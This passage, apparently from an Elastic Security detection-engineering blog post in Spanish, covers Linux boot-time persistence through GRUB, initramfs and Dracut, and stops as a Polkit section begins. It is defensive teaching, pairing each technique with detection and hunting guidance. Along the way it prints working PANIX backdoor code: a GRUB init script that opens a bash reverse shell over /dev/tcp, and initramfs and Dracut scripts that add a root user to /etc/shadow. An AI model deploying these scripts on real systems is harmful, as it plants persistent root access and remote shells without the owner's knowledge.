Ruben Groenewoud

Ingeniería de detección en Linux: el gran final sobre la persistencia en Linux

Basándose en investigaciones previas, este artículo describe técnicas de persistencia creativas, complejas o raras.

Ingeniería de detección de Linux: la gran final de la persistencia en Linux

Introducción

¡Bienvenido al gran final de la serie “Ingeniería de detección de persistencia en Linux”! En esta quinta y última parte, continuamos explorando a fondo el mundo de la persistencia en Linux. Basándose en los conceptos y técnicas fundamentales explorados en las publicaciones anteriores, esta publicación analiza algunos mecanismos de persistencia y puertas traseras más oscuros, creativos o complejos.

Si te perdiste los artículos anteriores, aquí te presentamos las bases al explorar conceptos clave de persistencia. Puedes ponerte al día con ellos aquí:

En esta publicación, ofreceremos información sobre estos mecanismos de persistencia al mostrar lo siguiente:

  • Cómo funciona cada uno (teoría)
  • Cómo configurar cada uno (práctica)
  • Cómo detectarlos (reglas SIEM y Endpoint)
  • Cómo buscarlas (búsquedas de referencias ES|QL y OSQuery)

Para que el proceso sea aún más atractivo, aprovecharemos PANIX, una herramienta de persistencia de Linux personalizada diseñada por Ruben Groenewoud de Elastic Security. PANIX le permite optimizar y experimentar con configuraciones de persistencia de Linux, lo que facilita la identificación y prueba de oportunidades de detección.

Al final de esta serie, tendrás un conocimiento sólido de las técnicas de persistencia de Linux, tanto comunes como raras, y comprenderás cómo diseñar detecciones de manera efectiva para las capacidades de adversarios comunes y avanzadas. ¿Estás listo para descubrir las piezas finales del rompecabezas de la persistencia en Linux? ¡Comencemos!

Nota de configuración

Para cerciorar de estar preparado para detectar los mecanismos de persistencia analizados en este artículo, es importante habilitar y actualizar nuestras reglas de detección prediseñadas. Si está trabajando con un conjunto de reglas personalizado y no emplea todas nuestras reglas prediseñadas, esta es una gran oportunidad para probarlas y potencialmente llenar cualquier vacío. Ahora estamos listos para comenzar.

T1542: Arranque previo al sistema operativo: cargador de arranque GRUB

GRUB (GRand Unified Bootloader) es un gestor de arranque ampliamente utilizado en sistemas Linux, encargado de cargar el núcleo e iniciar el sistema operativo. GRUB proporciona un marco de trabajo flexible que admite varias configuraciones, lo que lo convierte en una herramienta poderosa para gestionar el proceso de arranque. Funciona como intermediario entre el firmware del sistema (BIOS/UEFI) y el sistema operativo. Cuando se enciende un sistema Linux, suele ocurrir la siguiente secuencia:

  1. Firmware del sistema

  • BIOS o UEFI inicializa los componentes de hardware (p. ej., CPU, RAM, dispositivos de almacenamiento) y realiza una POST (prueba automática de encendido).
  • Luego, localiza el gestor de arranque en el dispositivo de arranque designado (generalmente según la configuración de prioridad de arranque).
  1. Cargador de arranque GRUB

  • GRUB se carga en la memoria.
  • Muestra un menú (si está habilitado) que permite a los usuarios seleccionar un sistema operativo, una versión del kernel o un modo de recuperación.
  • GRUB carga la imagen del kernel (vmlinuz) en la memoria, así como la imagen initramfs/initrd (initrd.img), que es un sistema de archivos raíz temporal que se utiliza para la configuración inicial del sistema (por ejemplo, cargar módulos del kernel para sistemas de archivos y hardware).
  • GRUB pasa los parámetros del kernel (p. ej., la ubicación del sistema de archivos raíz, las opciones de arranque) y entrega el control al kernel.
  1. Ejecución de kernel

  • El núcleo se descomprime y se inicializa. Empieza a detectar e inicializar el hardware del sistema.
  • El kernel monta el sistema de archivos raíz especificado en sus parámetros.
  • Inicia el sistema init (que suele serinit, ahora a menudo systemd), que es el primer proceso (PID 1) que inicializa y gestiona el espacio de usuario.
  • El sistema init configura servicios, monta sistemas de archivos y genera sesiones de usuario.

El sistema de configuración de GRUB es flexible y modular, lo que permite a los administradores definir el comportamiento del cargador de arranque, los parámetros del kernel y las entradas del menú. Todas las distribuciones principales utilizan /etc/default/grub como archivo de configuración principal para GRUB. Este archivo contiene opciones de alto nivel, como parámetros predeterminados del kernel, tiempo de espera de arranque y configuraciones gráficas. Por ejemplo:

GRUB_TIMEOUT=5                       # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0                       # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters

Para aumentar la flexibilidad, GRUB admite un enfoque modular para la configuración mediante directorios de scripts. Por lo general, se ubican en /etc/default/grub.d/ (Ubuntu/Debian) y /etc/grub.d/ (Fedora/CentOS/RHEL). Los scripts en estos directorios se integran en la configuración final durante el proceso de actualización.

Antes de iniciar, se debe compilar el cargador de arranque GRUB. El archivo de configuración compilado de GRUB es la salida final utilizada por el cargador de arranque durante la ejecución. Se genera a partir de la configuración en /etc/default/grub y los scripts modulares en /etc/grub.d/ (o en directorios y archivos similares para otras distribuciones). Luego, esta configuración se almacena en /boot/grub/grub.cfg para los sistemas BIOS y en /boot/efi/EFI/<distro>/grub.cfg para los sistemas UEFI.

En los sistemas basados en Ubuntu y Debian, el comando update-grub se utiliza para generar la configuración de GRUB. Para los sistemas Fedora, CentOS y RHEL, el comando equivalente es grub2-mkconfig. Al generar la configuración, ocurren los siguientes eventos:

  1. Ejecución de scripts:
  • Todos los scripts modulares en /etc/default/grub.d/ o /etc/grub.d/ se ejecutan en orden numérico.
  1. Agregación de configuraciones:
  • Se combinan los parámetros de /etc/default/grub y los scripts modulares.
  1. Creación de entradas de menú:
  • GRUB detecta de manera dinámica los kernels y sistemas operativos instalados y genera las entradas de menú correspondientes.
  1. Compilación final:
  • La configuración combinada se escribe en /boot/grub/grub.cfg (o en la ruta equivalente de UEFI), lista para usarse en el próximo arranque.

Los atacantes pueden explotar la flexibilidad y la ejecución temprana de GRUB en el proceso de arranque para establecer persistencia. Al modificar los archivos de configuración de GRUB, pueden inyectar parámetros maliciosos o scripts que se ejecuten con privilegios de root antes de que el sistema operativo se inicialice por completo. Los atacantes pueden hacer lo siguiente:

  1. Inyectar parámetros maliciosos del kernel:
  • Agregar parámetros como init=/payload.sh en /etc/default/grub o directamente en el menú de GRUB al arrancar obliga al kernel a ejecutar un script malicioso en lugar del sistema init por defecto.
  1. Modificar entradas del menú:
  • Los atacantes pueden modificar las entradas del menú en /etc/grub.d/ para incluir comandos no autorizados o apuntar a kernels maliciosos.
  1. Crear entradas de arranque ocultas:
  • Se agregan entradas de arranque adicionales con configuraciones maliciosas que no aparecen en el menú de GRUB.

Dado que GRUB opera antes de que el EDR típico del sistema y otros mecanismos de soluciones estén activos, esta técnica es especialmente difícil de detectar. Además, la falta de conocimiento sobre estos tipos de ataques dificulta la detección, ya que los parámetros o entradas maliciosas pueden parecerse a configuraciones legítimas, lo que hace que la inspección manual sea propensa a pasar por alto detalles.

La manipulación de GRUB se incluye en T1542: Arranque previo al sistema operativo en el marco de trabajo MITRE ATT&CK. Esta técnica abarca ataques dirigidos a los cargadores de arranque para obtener el control antes de que el sistema operativo se inicie. A pesar de su importancia, actualmente no hay una subtécnica exclusiva para ataques específicos de GRUB.

En la próxima sección, vamos a explorar cómo los atacantes pueden establecer persistencia mediante GRUB al inyectar parámetros maliciosos y modificar las configuraciones del cargador de arranque.

Persistencia mediante T1542: arranque previo al sistema operativo: cargador de arranque GRUB

En esta sección, vamos a examinar los detalles técnicos relacionados con la persistencia de GRUB. Para lograr esto, vamos a utilizar el módulo setup_grub.sh de PANIX, una herramienta de persistencia de Linux a medida. Al simular esta técnica, podremos investigar oportunidades potenciales de detección.

El módulo GRUB detecta la distribución de Linux en la que se ejecuta y determina los archivos correctos para modificar, así como las herramientas de soporte necesarias para establecer la persistencia. No hay compatibilidad integrada en PANIX para sistemas operativos basados en Fedora dentro de este módulo, debido al entorno restringido que está disponible durante el proceso de arranque. PANIX determina si la carga útil ya está inyectada y, si no lo está, crea un archivo de configuración personalizado (cfg) que contiene el parámetro init=/grub-panix.sh. Los archivos de configuración de GRUB se cargan en orden ascendente, se basan en el prefijo numérico de los módulos. Para garantizar que el módulo inyectado se cargue al final, la prioridad se establece en 99.

local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"

echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF

Una vez que este archivo de configuración esté en su lugar, se crea el script /grub-panix.sh, que contiene una carga útil que espera durante un tiempo determinado (para asegurar que la red esté disponible), tras lo cual ejecuta una carga útil de shell inverso, y se separa de su proceso principal para evitar bloqueos.

payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"

local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
	echo "[*] Panix backdoor payload will execute after 10 seconds delay."
	${payload}
	echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF

Una vez que estos archivos estén en su lugar, solo queda actualizar GRUB para incluir el módulo de puerta trasera integrado al ejecutar update-grub.

Veamos cómo se ve este proceso desde la perspectiva de la ingeniería de detección. Ejecuta el módulo PANIX mediante el siguiente comando:

> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.

Al ejecutar el módulo y reiniciar la máquina, puedes observar los siguientes documentos en Kibana:

Al ejecutar PANIX, podemos ver un backup de /etc/default/grub, una nueva configuración modular de GRUB, /etc/default/grub.d/99-panix.cfg, y la carga útil de la puerta trasera (/grub-panix.sh) que se crea. Después de otorgar a la puerta trasera los permisos de ejecución necesarios, GRUB se actualiza mediante el update-grub ejecutable, y la puerta trasera ya está lista. Al reiniciar, /grub-panix.sh se ejecuta mediante init, lo cual es systemd para la mayoría de los sistemas operativos modernos, ejecutando con éxito la cadena de shell inverso de /grub-panix.shnohupsetsidbash. La razón por la que su valor event.action es already-running se debe a que la carga útil se ejecuta durante el proceso de arranque, antes de la inicialización de Elastic Defend. Según la etapa de arranque de la ejecución, Elastic Defend podrá capturar eventos omitidos con event.action, lo que nos permite seguir detectando la actividad.

Echemos un vistazo a la cobertura:

Reglas de detección y de endpoint que cubren la persistencia del cargador de arranque GRUB

Puede revertir los cambios realizados por PANIX ejecutando el siguiente comando de reversión:

> ./panix.sh --revert grub

[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.

Búsqueda de T1542: arranque previo al sistema operativo: cargador de arranque GRUB

Además de depender de las detecciones, es importante incorporar la búsqueda de amenazas en tu flujo de trabajo, en especial para mecanismos de persistencia como estos, donde los eventos pueden perderse debido a restricciones temporales o del entorno. Esta publicación enumera las búsquedas disponibles para la persistencia del cargador de arranque GRUB; sin embargo, se detallan más los conceptos básicos de la búsqueda de amenazas en la sección “Búsqueda de T1053: tarea/trabajo programado” de “Ingeniería de detección de Linux: una introducción a los mecanismos de persistencia”. Además, las descripciones y referencias se pueden encontrar en nuestro repositorio de reglas de detección, específicamente en el subdirectorio de búsqueda de Linux.

Podemos buscar la persistencia del cargador de arranque GRUB mediante ES|QL y OSQuery, centrándonos en la creación, modificación y ejecución de archivos relacionados con las configuraciones de GRUB. El enfoque incluye el monitoreo de lo siguiente:

  1. Creaciones o modificaciones en los archivos de configuración de GRUB: rastrea los cambios en archivos críticos como el archivo de configuración de GRUB, los módulos y el binario compilado de GRUB. Estos archivos son esenciales para las configuraciones del cargador de arranque y son objetivos comunes para la persistencia basada en GRUB.
  2. Ejecución de comandos relacionados con GRUB: se monitorean comandos como grub-mkconfig, grub2-mkconfig y update-grub, que pueden indicar intentos de modificar la configuración de GRUB o regenerar las configuraciones de arranque.
  3. Análisis de metadatos de archivos de GRUB: identifica la propiedad, los tiempos de acceso y los cambios recientes en los archivos de configuración de GRUB para detectar modificaciones no autorizadas.
  4. Monitoreo de la integridad del kernel y del arranque: rastrea datos críticos relacionados con el kernel y el arranque usando tablas de ES|QL y OSQuery como secureboot, platform_info, kernel_infoy kernel_keys, lo que proporciona información sobre la integridad del arranque del sistema y las configuraciones del kernel.

Al combinar la persistencia mediante el cargador de arranque GRUB y la regla de búsqueda de manipulación general del kernel con las búsquedas de detección personalizadas enumeradas anteriormente, los analistas pueden identificar y responder de manera efectiva a T1542.

T1542- Arranque previo al sistema operativo: Initramfs

Initramfs (sistema de archivos RAM inicial) es una parte vital del proceso de arranque de Linux, actúa como un sistema de archivos raíz temporal cargado en la memoria por el cargador de arranque. Permite al kernel inicializar el hardware, cargar los módulos necesarios y preparar el sistema para montar el verdadero sistema de archivos raíz.

Como aprendimos en la sección anterior, el cargador de arranque (por ejemplo, GRUB) carga dos componentes clave: el kernel (vmlinuz) y la imagen initramfs (initrd.img). El initrd.img es un sistema de archivos comprimido, que se suele almacenar en /boot/, que contiene controladores esenciales, binarios (por ejemplo, busybox), bibliotecas y scripts para la inicialización temprana del sistema. Se comprime en formatos como gzip, LZ4 o xz, y se extrae en un sistema de archivos mínimo de Linux con directorios como /bin, /lib y /etc. Una vez que se monta el sistema de archivos raíz real, el control pasa al sistema init principal (por ejemplo, systemd), y se descarta el initramfs.

Initramfs desempeña un rol central en el proceso de arranque de Linux, pero no opera de manera aislada. El directorio /boot/ alberga archivos esenciales que permiten que el cargador de arranque y el kernel funcionen sin inconvenientes. Estos archivos incluyen el binario del kernel, la imagen initramfs y los datos de configuración necesarios para la inicialización del sistema. Aquí tienes un desglose de estos componentes cruciales:

  • vmlinuz-<version>: un binario comprimido del kernel de Linux.
  • vmlinuz: un enlace simbólico al binario comprimido del kernel de Linux.
  • initrd.img-<version> o initramfs.img-<version>: la imagen initramfs que contiene el sistema de archivos temporal.
  • initrd.img o initramfs.img: un enlace simbólico a la imagen initramfs.
  • config-<version>: opciones de configuración para la versión específica del kernel.
  • System.map-<version>: mapa de símbolos del kernel utilizado para la depuración.
  • grub/: archivos de configuración del cargador de arranque.

Al igual que GRUB, initramfs se ejecuta al principio del proceso de arranque y, por lo tanto, es un objetivo interesante para los atacantes que buscan una persistencia sigilosa. Modificar su contenido, como agregar scripts maliciosos o alterar la lógica de inicialización, permite la ejecución de código malicioso antes de que el sistema se inicialice completamente.

Aunque en este momento no existe una subsección específica para initramfs, la modificación del proceso de arranque se clasifica bajo T1542, arranque previo al sistema operativo en el marco de trabajo MITRE ATT&CK.

En la próxima sección, exploraremos cómo los atacantes podrían manipular initramfs, los métodos que podrían usar para integrar mecanismos de persistencia y cómo detectar y mitigar estas amenazas de manera efectiva.

T1542: initramfs: modificaciones manuales

Modificar initramfs para establecer persistencia es una técnica que se analiza en el blog “Técnica de persistencia de initramfs” publicado en Breachlabs.io. En su núcleo, modificar initramfs implica descomprimir su sistema de archivos comprimido, realizar cambios y volver a comprimir la imagen para mantener la funcionalidad mientras se integran mecanismos de persistencia. Este proceso no es inherentemente malicioso; los administradores podrían modificar initramfs para agregar controladores o configuraciones personalizadas. Sin embargo, los atacantes pueden aprovechar esta flexibilidad para ejecutar acciones maliciosas antes de que el sistema operativo principal se cargue por completo.

Una técnica de ejemplo consiste en agregar código al script init para manipular el sistema de archivos del host, como crear un usuario con acceso no autorizado, modificar archivos o servicios del sistema, o inyectar scripts que persistan tras los reinicios.

Aunque hay herramientas auxiliares para trabajar con initramfs, se pueden realizar modificaciones manuales mediante utilidades de bajo nivel como binwalk. Binwalk es especialmente útil para analizar y extraer archivos comprimidos, lo que lo convierte en una excelente opción para inspeccionar y descomponer la imagen initramfs.

En la siguiente sección, daremos una explicación detallada del proceso de modificación manual de initramfs.

Persistencia mediante T1542: initramfs: modificaciones manuales

En esta sección, vamos a manipular “manualmente” initramfs para agregar una puerta trasera al sistema durante el proceso de arranque. Para hacerlo, utilizaremos el módulo setup_initramfs.sh de PANIX. Analicemos los aspectos más importantes del módulo para asegurarnos de entender qué sucede.

Al ejecutar el módulo, se hace una copia de seguridad del archivo initrd.img, ya que implementar una técnica como esta puede interrumpir el proceso de arranque, y siempre se recomienda tener una copia de seguridad disponible. A continuación, se crea un directorio temporal y se copia la imagen initramfs. A través de binwalk, podemos identificar y mapear los diferentes archivos insertados dentro de initrd.img (como el archivo de microcódigo de la CPU cpio y el archivo cpio comprimido con gzip que contiene el sistema de archivos mini Linux). El texto TRAILER!!! marca el final de un archivo cpio, lo que nos permite saber exactamente dónde termina un archivo para poder separarlo del siguiente. En otras palabras, binwalk nos indica dónde dividir el archivo, y el marcador TRAILER!!! confirma el límite del microcódigo cpio antes de que extraigamos y reconstruyamos el resto de initramfs. Para obtener más información detallada, echa un vistazo al blog “Técnica de persistencia de initramfs” del autor original.

# Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
	echo "Error: Could not determine trailer address using binwalk."
	exit 1
fi
echo "[*] Trailer address: $ADDRESS"

Esta sección extrae y descomprime partes del archivo initrd.img para su modificación. El comando dd extrae el primer archivo cpio (microcódigo) hasta el desplazamiento de bytes marcado por TRAILER!!!, y se guarda como initrd.img-begin para su posterior reensamblaje. A continuación, unmkinitramfs descomprime el sistema de archivos restante de initrd.img en un directorio (initrd_extracted), lo que permite modificaciones.

dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; }

unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }

Una vez que se extrae el sistema de archivos, puede modificarse para lograr persistencia. Este proceso se enfoca en manipular el archivo init, que se encarga de inicializar el sistema Linux durante el arranque. El código ejecuta lo siguiente:

  1. Monta el sistema de archivos raíz con permisos de escritura.
  2. Intenta crear un nuevo usuario con privilegios de sudo en dos pasos:
    1. Verifica si el usuario proporcionado ya existe; si es así, cancela el proceso.
    2. Si el usuario no existe, agrégalo a /etc/shadow, /etc/passwd y /etc/group de forma manual.

Esta carga útil se puede modificar a cualquier carga útil que se desee. Dado que el entorno en el que trabajamos es muy limitado, debemos asegurarnos de usar solo las herramientas disponibles.

Después de agregar la carga útil correcta, initramfs puede volver a comprimirse. El script utiliza lo siguiente:

find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end

Para volver a comprimir el sistema de archivos en initrd.img-end. Garantiza que todos los archivos son propiedad de root:root (-R 0:0) y utiliza el formato newc compatible con initramfs.

El archivo de microcódigo extraído previamente (initrd.img-begin) se concatena con el archivo recién creado (initrd.img-end) usando cat para producir un initrd.img-new final:

cat initrd.img-begin initrd.img-end > initrd.img-new

El nuevo initrd.img-new sustituye el archivo initramfs original, lo que garantiza que el sistema utilice la versión modificada en el próximo arranque.

Ahora que entendemos el proceso, podemos ejecutar el módulo y dejar que los eventos se desarrollen. Nota: No todas las distribuciones de Linux especifican el final de un archivo de cpio con el texto TRAILER!!!, por lo tanto, esta técnica automatizada no funcionará para todos los sistemas. ¡Continuemos!

> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.

Veamos los eventos que se generan en Kibana:

Al observar los logs de ejecución, podemos ver que openssl se usa para generar un hash passwd. Luego, la imagen initramfs se copia a un directorio temporal y se utiliza binwalk para localizar la dirección del sistema de archivos. Una vez que se encuentra la sección correcta, se usa unmkinitramfs para extraer el sistema de archivos, luego se agrega la carga útil al archivo init. A continuación, el sistema de archivos se vuelve a comprimir mediante gzip y cpio, y se combina en una imagen initramfs completamente funcional con el microcódigo, el sistema de archivos y otras secciones. Luego, esta imagen se copia en el directorio /boot/, lo que sobreescribe la imagen initramfs que está activa actualmente. Al reiniciar, el nuevo usuario panix con permisos de root está disponible.

Echemos un vistazo a la cobertura:

Reglas de detección y endpoint que cubren la persistencia manual de initramfs

Puede revertir los cambios realizados por PANIX ejecutando el siguiente comando de reversión:

> ./panix.sh --revert initramfs

[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

Búsqueda de T1542 - Initramfs: modificaciones manuales

Podemos buscar esta técnica usando ES|QL y OSQuery, centrándonos en la actividad sospechosa vinculada al uso de herramientas como binwalk. Esta técnica generalmente implica extraer, analizar y modificar archivos initramfs para inyectar componentes maliciosos o scripts en el proceso de arranque. El enfoque incluye el monitoreo de lo siguiente:

  1. Ejecución de Binwalk con argumentos sospechosos: rastrea los procesos en los que binwalk se ejecuta para extraer o analizar archivos. Esto puede revelar intentos de inspeccionar o manipular el contenido de initramfs.
  2. Creaciones o modificaciones a archivos de initramfs: se realiza un seguimiento de los cambios al archivo de initramfs (/boot/initrd.img).
  3. Indicadores generales de manipulación del kernel: aprovecha búsquedas como el monitoreo de secureboot, kernel_info y los cambios de archivos dentro de /boot/ para detectar signos más amplios de manipulación del kernel y del cargador de arranque, que pueden coincidir con el abuso de initramfs.

Al combinar la regla de búsqueda de persistencia mediante initramfs y manipulación general del kernel con las búsquedas de detección personalizadas mencionadas anteriormente, los analistas pueden identificar y responder de manera efectiva a T1542.

T1542: initramfs: modificación con Dracut

Dracut es una herramienta versátil para gestionar initramfs en la mayoría de los sistemas Linux. A diferencia de los métodos manuales que requieren descomponer y reconstruir initramfs, Dracut ofrece un enfoque estructurado y modular. Simplifica la creación, modificación y regeneración de imágenes initramfs mientras ofrece un marco de trabajo sólido para agregar funcionalidad personalizada. Genera imágenes initramfs al ensamblar un entorno mínimo de Linux adaptado a las necesidades del sistema. Su diseño modular garantiza que solo se incluyan los controladores, bibliotecas y scripts necesarios.

Dracut opera mediante módulos, que son directorios independientes que contienen scripts, archivos de configuración y dependencias. Estos módulos definen el comportamiento y el contenido de initramfs. Por ejemplo, podrían incluir controladores para hardware específico, herramientas para manejar sistemas de archivos cifrados o lógica personalizada para operaciones previas al arranque.

Los módulos de Dracut se suelen almacenar en:

  • /usr/lib/dracut/modules.d/
  • /lib/dracut/modules.d/

Cada módulo se aloja en un directorio nombrado con el formato XXname, en el que XX es un número de dos dígitos que define el orden de carga, y name es el nombre del módulo (por ejemplo, 01base, 95udev).

El script principal que define cómo el módulo se integra en el initramfs se llama module-setup.sh. Especifica qué archivos incluir y qué dependencias son necesarias. Aquí tienes un ejemplo básico de un script de module-setups.sh:

#!/bin/bash

check() {
  return 0 
}

depends() {
  echo "base"
}

install() {
  inst_hook cmdline 30 "$moddir/my_custom_script.sh"
  inst_simple /path/to/needed/binary
}
  • check(): determina si el módulo se debe incluir. Al dar 0 como resultado, garantiza que el módulo siempre esté incluido.
  • depends(): especifica otros módulos de los que depende este (por ejemplo, base, udev).
  • install(): define qué archivos o scripts incluir. Funciones como inst_hook y inst_simple simplifican el proceso.

Con Dracut, los atacantes o administradores pueden modificar fácilmente initramfs para incluir scripts o funcionalidades personalizados. Por ejemplo, un actor malicioso podría hacer lo siguiente:

  • Agregar un script que ejecute comandos al iniciar.
  • Alterar los módulos existentes para modificar el comportamiento del sistema antes de que se monte el sistema de archivos raíz.

En la siguiente sección, revisaremos cómo crear un módulo Dracut personalizado para modificar initramfs.

Persistencia mediante T1542: initramfs: modificación con Dracut

Siempre es una gran idea ir de a poco. En la sección anterior, aprendimos a manipular initramfs manualmente, lo que puede ser complicado de configurar. Ahora que entendemos los conceptos básicos, podemos persistir mucho más fácilmente con una herramienta auxiliar llamada Dracut, que está disponible por defecto en muchos sistemas Linux. Echemos un vistazo al módulo setup_initramfs.sh de nuevo, pero esta vez con un enfoque en la sección Dracut.

Este módulo PANIX crea un nuevo directorio de módulos Dracut en /usr/lib/dracut/modules.d/99panix y crea un archivo module-setup.sh con el siguiente contenido:

#!/bin/bash
check()  { return 0; }
depends() { return 0; }
install() {
	inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}

Este script asegura que cuando se construye initramfs con Dracut, el script personalizado (backdoor-user.sh) se inserta y se configura para ejecutarse en la etapa previa al pivote durante el arranque. Al ejecutarse en la etapa previa al pivote, el script se ejecuta antes de que el control se transfiera al sistema operativo principal, lo que garantiza que pueda realizar modificaciones en el sistema de archivos raíz real.

Después de otorgar permisos de ejecución module-setup.sh, el módulo continúa creando el archivo backdoor-user.sh. Para ver el contenido completo, inspecciona el código fuente del módulo. Las partes importantes son las siguientes:

#!/bin/sh

# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
	echo "[dracut] Could not remount /sysroot as RW. Exiting."
	exit 1
}
[...]

if check_user_exists "${username}" /sysroot/etc/shadow; then
    echo "[dracut] User '${username}' already exists in /etc/shadow."
else
    echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
    echo "[dracut] Added '${username}' to /etc/shadow."
fi

[...]

Primero, el script se asegura de que el sistema de archivos raíz (/sysroot) tenga permisos de escritura. Si esta verificación se completa, el script continúa agregando un nuevo usuario al modificar manualmente los archivos /etc/shadow, /etc/passwd y /etc/group. Lo más importante para tener en cuenta es que estos scripts dependen de utilidades de shell integradas, ya que utilidades como grep o sed no están disponibles en este entorno. Después de escribir el script, se otorgan permisos de ejecución y está listo para ejecutarse.

Finalmente, se usa Dracut para reconstruir initramfs para la versión del kernel que está actualmente activa:

dracut --force /boot/initrd.img-$(uname -r) $(uname -r)

Una vez que este paso se complete, el initramfs modificado estará activo, y al reiniciar la máquina se ejecutará el script backdoor-user.sh.

Como siempre, primero tomamos una snapshot, luego ejecutamos el módulo:

> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.

Y echa un vistazo a los documentos disponibles en Discover:

Al ejecutarse, openssl se usa para generar un hash para la contraseña secret. A continuación, se crea la estructura de directorios /usr/lib/dracut/modules.d/99panix, y se crean los scripts module-setup.sh y backdoor-user.sh y se les otorgan permisos de ejecución. Una vez que se complete la regeneración del initramfs, se instala la puerta trasera y estará activa al reiniciar.

Echemos un vistazo a la cobertura:

Reglas de detección y de endpoint que cubren la persistencia de initramfs de Dracut

Puede revertir los cambios realizados por PANIX ejecutando el siguiente comando de reversión:

> ./panix.sh --revert initramfs

[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

Búsqueda de T1542: initramfs: modificación con Dracut

Podemos buscar esta técnica usando ES|QL y OSQuery, centrándonos en la actividad sospechosa relacionada con el uso de herramientas como Dracut. El enfoque incluye el monitoreo de lo siguiente:

  1. Ejecución de Dracut con argumentos sospechosos: rastrea los procesos en los que Dracut se ejecuta para regenerar o modificar archivos initramfs, especialmente con argumentos no estándar. Esto puede ayudar a identificar intentos no autorizados de modificar initramfs.
  2. Creaciones o modificaciones a los módulos de Dracut: monitorea los cambios dentro de /lib/dracut/modules.d/ y /usr/lib/dracut/modules.d/, que almacenan módulos de Dracut personalizados y para todo el sistema. Las modificaciones no autorizadas aquí pueden indicar intentos de mantener la funcionalidad maliciosa.
  3. Indicadores generales de manipulación del kernel: utiliza búsquedas como el monitoreo de secureboot, kernel_info y los cambios de archivos dentro de /boot/ para detectar signos más amplios de manipulación del kernel y del cargador de arranque que podrían estar relacionados con el abuso de initramfs.

Al combinar las reglas de búsqueda de persistencia mediante initramfs y manipulación general del kernel con las búsquedas de detección personalizadas mencionadas anteriormente, puedes identificar y responder de manera efectiva a T1542.

T1543 - Crear o modificar proceso del sistema: PolicyKit

PolicyKit (o Polkit) es un servicio del sistema que proporciona un marco de autorización para gestionar acciones privilegiadas en sistemas Linux. Permite un control minucioso sobre los privilegios a nivel de sistema, lo que permite que los procesos sin privilegios interactúen de manera segura con los privilegiados. Al actuar como intermediario entre los servicios del sistema y los usuarios, Polkit determina si un usuario está autorizado a realizar acciones específicas. Por ejemplo, determina si un usuario puede reiniciar los servicios de red o instalar software sin necesidad de permisos completos de sudo.

La autorización de Polkit se rige por reglas, acciones y políticas de autorización:

  • Acciones: se definen en archivos XML (.policy), estas especifican las operaciones que Polkit puede gestionar, como org.freedesktop.systemd1.manage-units.
